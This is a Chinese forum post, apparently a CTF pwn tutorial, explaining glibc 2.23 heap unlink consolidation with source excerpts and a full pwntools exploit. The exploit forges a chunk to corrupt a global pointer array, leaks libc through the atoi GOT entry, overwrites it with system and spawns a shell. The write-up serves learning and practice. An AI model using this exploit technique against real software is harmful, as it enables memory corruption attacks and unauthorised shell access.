好友
阅读权限20
听众
最后登录1970-1-1
|
在pwn 的学习 其中unlink机制与原理是比较复杂的 需要配合glibc源码进行分析
关于unlink的原理,这里不用过多阐述 不懂的可以看一下ctfwiki的相关知识
下面给出一张图概过
unlink
现在我们重点分析 unlink的触发机制,即什么时候会发生unlink?
当需要合并相邻的freechunk时用到unlink
而合并堆块又分为向地地址合并和向高地址合并
在ctf glibc pwn中 我们一般利用的是向低地址合并的unlink
下面给出 glibc2.23中关于向低地址合并的源码
if (!prev_inuse(p)) {//判断后一个堆块(低地址)是否free,free时进行下一步操作
prevsize = p->prev_size;//读取p堆块的prev_size位
size += prevsize;//size相加
p = chunk_at_offset(p, -((long) prevsize));//p指向后一个堆块的地址,实现了合并
unlink(av, p, bck, fwd);//unlink脱链操作
}
图片表该示过程:
向高地址合并:
源码
if (nextchunk != av->top) {//下一个堆块(高地址)是否为top chunk
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//将下一个堆块的prev_inuse位置为0,因为即将free这个堆块的前一个堆块
/* consolIDAte forward */
if (!nextinuse) {//判断下一个堆块是否free,是则进行unlink
unlink(av, nextchunk, bck, fwd);
size += nextsize;//size相加,相当于扩大了堆块,实现了 free
} else
clear_inuse_bit_at_offset(nextchunk, 0);
接下来来看一个 unlink的ctf 实例
unlink.rar
(4.44 KB, 下载次数: 35)
压缩文件给出了 elf和我写的exp
这是一个经典的unlink修改全局数组 实现任意地址写的题目
ida分析
先分析一下 ,其中的change_item中存在堆溢出漏洞
malloc出的指针存放于 0x6020c0的全局数组中
这个题的思路大概就是 首先unlink 造成0x6020c0的全局数组任意地址写
然后 泄漏libc 最后修改elf.got['atoi']为system
再输入/bin/sh\x00造成getshell
def add(size,content):
p.sendlineafter('choice:',str(2))
p.sendlineafter('name:',str(size))
p.sendlineafter('item:',content)
def show():
p.sendlineafter('choice:',str(1))
def change(index,size,content):
p.sendlineafter('choice:',str(3))
p.sendlineafter('item:',str(index))
p.sendlineafter('name:',str(size))
p.sendlineafter('item:',content)
def delete(index):
p.sendlineafter('choice:',str(4))
p.sendlineafter('item:',str(index))
sleep(2)
add(0x20,'aaaa')#0
add(0x80,'bbbb')#1 实际分配size为0x90,保证期不为fastbin
add(0x80,'cccc')#2
此时的堆块情况如下
全局数组情况如下
我们利用unlink在全局数组写的思路是
由于全局数组的指针是指向chunk数据段的而不是chunk起始位置的
所以在chunk1的数据段伪造另一个chunk,chunk大小得与接下来的chunk2 的prev_size对应
然后设置伪造堆块的fd=ptr-0x18 bk=ptr-0x10(这么做的原因ctfwiki里面有)
通过溢出 修改chunk2 的prev_size 为0x80 size为0x90 pre_inuse为0
再free(chunk2)时便会前向合并触发unlink
pause()
fd=0x6020d8-0x18
bk=0x6020d8-0x10
payload1=p64(0)+p64(0x81)#fake_chunk
payload1+=p64(fd)+p64(bk)
payload1+=p64(0)*12
payload1+=p64(0x80)+p64(0x90)
change(1,0x90,payload1)
delete(2)#unlink
此时全局数组情况如下
可以发现我们现在已经可以通过change(1)实现任意地址读写了
pause()
change(1,0x20,'b'*8+p64(elf.got['atoi']))
show()
p.recvuntil(': ')
libc_base=u64(p.recv(6).ljust(8,'\x00'))-libc.sym['atoi']
print "libc_base:"+hex(libc_base)
change(0,0x20,p64(libc_base+libc.sym['system']))
p.recvuntil(':')
p.sendline('/bin/sh\x00')
p.interactive()
我们可以通过修改atoi的got 为system
然后输入/bin/sh\x00触发system('/bin/sh\x00')
|
免费评分
-
参与人数 3 | 威望 +2 |
吾爱币 +101 |
热心值 +3 |
收起
理由
|
bevirus
| |
|
+ 1 |
谢谢@Thanks! |
梦生
| |
+ 1 |
+ 1 |
谢谢@Thanks! |
Hmily
| + 2 |
+ 100 |
+ 1 |
感谢发布原创作品,吾爱破解论坛因你更精彩! |
查看全部评分
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|